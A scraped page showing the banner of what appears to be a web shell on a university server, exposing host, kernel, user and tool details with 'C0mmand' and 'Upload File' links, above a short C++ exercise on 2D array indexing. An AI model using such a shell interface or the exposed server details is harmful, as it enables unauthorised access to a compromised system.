Server IP : 172.16.15.8 / Your IP : 18.217.10.200 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/lmking1/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// // #include <iostream> using namespace std; int main() { int x[][4] = { {1,2,3},{5,6,7}}; // out: r2c3, r1c4? cout << "x[1][2]: " << x[1][2] << ", x[0][3]: " << x[0][3]; // Q: state to input r2c2 cout << "\n\nInput a datum for Row 2 and Col. 2: "; cin >> x[1][1]; // Q: state to input r1c4 cout << "Input a datum for Row 1 and Col. 4: "; cin >> x[0][3]; // Q: state to input r2c4 cout << "Input a datum for Row 2 and Col. 4: "; cin >> x[1][3]; for(int i=0; i<2; i++) { for(int j=0; j<4; j++) cout << x[i][j] << " "; cout << "\n"; } // out: r1c4, r2c4 return 0; }